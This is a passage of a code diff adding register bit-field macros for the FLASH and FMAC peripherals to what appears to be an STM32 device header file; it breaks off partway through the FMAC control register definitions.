forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x7FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OBKERRIE_Pos (21U) +#define FLASH_CR_OBKERRIE_Msk (0x1UL << FLASH_CR_OBKERRIE_Pos) /*!< 0x00200000 */ +#define FLASH_CR_OBKERRIE FLASH_CR_OBKERRIE_Msk /*!< OBK general error interrupt enable bitt */ +#define FLASH_CR_OBKWERRIE_Pos (22U) +#define FLASH_CR_OBKWERRIE_Msk (0x1UL << FLASH_CR_OBKWERRIE_Pos) /*!< 0x00400000 */ +#define FLASH_CR_OBKWERRIE FLASH_CR_OBKWERRIE_Msk /*!< OBK write error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OBKERR_Pos (21U) +#define FLASH_CCR_CLR_OBKERR_Msk (0x1UL << FLASH_CCR_CLR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_CCR_CLR_OBKERR FLASH_CCR_CLR_OBKERR_Msk /*!< OBKERR flag clear bit */ +#define FLASH_CCR_CLR_OBKWERR_Pos (22U) +#define FLASH_CCR_CLR_OBKWERR_Msk (0x1UL << FLASH_CCR_CLR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_CCR_CLR_OBKWERR FLASH_CCR_CLR_OBKWERR_Msk /*!< OBKWERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0U) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/****************** Bits definition for FLASH_OBKCFGR register *****************/ +#define FLASH_OBKCFGR_LOCK_Pos (0U) +#define FLASH_OBKCFGR_LOCK_Msk (0x1UL << FLASH_OBKCFGR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OBKCFGR_LOCK FLASH_OBKCFGR_LOCK_Msk /*!< OBKCFGR lock */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Pos (1U) +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Msk (0x1UL << FLASH_OBKCFGR_SWAP_SECT_REQ_Pos) /*!< 0x00000002 */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ FLASH_OBKCFGR_SWAP_SECT_REQ_Msk /*!< OBK swap sector request */ +#define FLASH_OBKCFGR_ALT_SECT_Pos (2U) +#define FLASH_OBKCFGR_ALT_SECT_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_Pos) /*!< 0x00000004 */ +#define FLASH_OBKCFGR_ALT_SECT FLASH_OBKCFGR_ALT_SECT_Msk /*!< Alternate sector */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Pos (3U) +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_ERASE_Pos) /*!< 0x00000008 */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE FLASH_OBKCFGR_ALT_SECT_ERASE_Msk /*!< Alternate sector erase */ +#define FLASH_OBKCFGR_SWAP_OFFSET_Pos (16U) +#define FLASH_OBKCFGR_SWAP_OFFSET_Msk (0x1FFUL << FLASH_OBKCFGR_SWAP_OFFSET_Pos) /*!< 0x01FF0000 */ +#define FLASH_OBKCFGR_SWAP_OFFSET FLASH_OBKCFGR_SWAP_OFFSET_Msk /*!< Swap offset */ + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_BOOT_UBE_Pos (22U) +#define FLASH_OPTSR_BOOT_UBE_Msk (0xFFUL << FLASH_OPTSR_BOOT_UBE_Pos) /*!< 0x3FC00000 */ +#define FLASH_OPTSR_BOOT_UBE FLASH_OPTSR_BOOT_UBE_Msk /*!< Unique boot entry option byte */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM1_3_RST_Pos (2U) +#define FLASH_OPTSR2_SRAM1_3_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_3_RST_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR2_SRAM1_3_RST FLASH_OPTSR2_SRAM1_3_RST_Msk /*!< SRAM1 and SRAM3 erased when a system reset occurs */ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM3_ECC_Pos (5U) +#define FLASH_OPTSR2_SRAM3_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM3_ECC_Pos) /*!< 0x00000020 */ +#define FLASH_OPTSR2_SRAM3_ECC FLASH_OPTSR2_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_USBPD_DIS_Pos (8U) +#define FLASH_OPTSR2_USBPD_DIS_Msk (0x1UL << FLASH_OPTSR2_USBPD_DIS_Pos) /*!< 0x00000100 */ +#define FLASH_OPTSR2_USBPD_DIS FLASH_OPTSR2_USBPD_DIS_Msk /*!< USB power delivery configuration disable */ +#define FLASH_OPTSR2_TZEN_Pos (24U) +#define FLASH_OPTSR2_TZEN_Msk (0xFFUL << FLASH_OPTSR2_TZEN_Pos) /*!< 0xFF000000 */ +#define FLASH_OPTSR2_TZEN FLASH_OPTSR2_TZEN_Msk /*!< TrustZone enable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0xFFFFFFFFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + +/***************** Bits definition for FLASH_SECWMR register ********************/ +#define FLASH_SECWMR_SECWM_STRT_Pos (0U) +#define FLASH_SECWMR_SECWM_STRT_Msk (0x7FUL << FLASH_SECWMR_SECWM_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWMR_SECWM_STRT FLASH_SECWMR_SECWM_STRT_Msk /*!< Start sector of secure area */ +#define FLASH_SECWMR_SECWM_END_Pos (16U) +#define FLASH_SECWMR_SECWM_END_Msk (0x7FUL << FLASH_SECWMR_SECWM_END_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWMR_SECWM_END FLASH_SECWMR_SECWM_END_Msk /*!< End sector of secure area */ + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0xFFFFFFFFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + +/***************** Bits definition for FLASH_EDATA register ********************/ +#define FLASH_EDATAR_EDATA_STRT_Pos (0U) +#define FLASH_EDATAR_EDATA_STRT_Msk (0x7UL << FLASH_EDATAR_EDATA_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_EDATAR_EDATA_STRT FLASH_EDATAR_EDATA_STRT_Msk /*!< Flash high-cycle data start sector */ +#define FLASH_EDATAR_EDATA_EN_Pos (15U) +#define FLASH_EDATAR_EDATA_EN_Msk (0x1UL << FLASH_EDATAR_EDATA_EN_Pos) /*!< 0x00008000 */ +#define FLASH_EDATAR_EDATA_EN FLASH_EDATAR_EDATA_EN_Msk /*!< Flash high-cycle data enable */ + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x7FUL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x7FUL << FLASH_HDPR_HDP_END_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_OBK_ECC_Pos (20U) +#define FLASH_ECCR_OBK_ECC_Msk (0x1UL << FLASH_ECCR_OBK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_OBK_ECC FLASH_ECCR_OBK_ECC_Msk /*!< Flash OB Keys storage area ECC fail */ +#define FLASH_ECCR_DATA_ECC_Pos (21U) +#define FLASH_ECCR_DATA_ECC_Msk (0x1UL << FLASH_ECCR_DATA_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_DATA_ECC FLASH_ECCR_DATA_ECC_Msk /*!< Flash high-cycle data ECC fail */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0U) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8U) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24U) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0U) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8U) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0U) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8U) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24U) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0U) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8U) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16U) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24U) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31U) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0U) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1U) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define 